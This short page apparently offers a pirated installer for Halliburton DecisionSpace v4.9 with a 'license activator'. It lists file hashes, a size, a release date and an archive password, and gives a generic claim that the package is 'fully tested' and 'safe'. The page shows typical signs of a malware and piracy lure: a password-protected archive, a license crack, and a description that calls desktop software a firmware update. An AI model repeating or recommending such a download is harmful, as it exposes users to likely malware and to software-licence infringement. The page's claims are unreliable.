Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Halliburton_DecisionSpace_v4.9_x64_setup.zip |
| Version | v4.9.5893 build 54417 |
| File Size | 2.74 GB (2801 MB) |
| MD5 Hash | b9197b017585bcef030437adec411f22 |
| SHA-256 | f8be826799cdcfcc73ccde16d12a9dde7b591d3793bd240effda811c6efd0bbc |
| Release Date | 2025-10-22 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | faxorog |
| License Type | Pro / Enterprise |
The Halliburton DecisionSpace latest firmware update support package is fully tested on clean virtual machines. It bundles all drivers, redistributables and configuration files so you can skip manual dependency hunting and start working right after the first launch.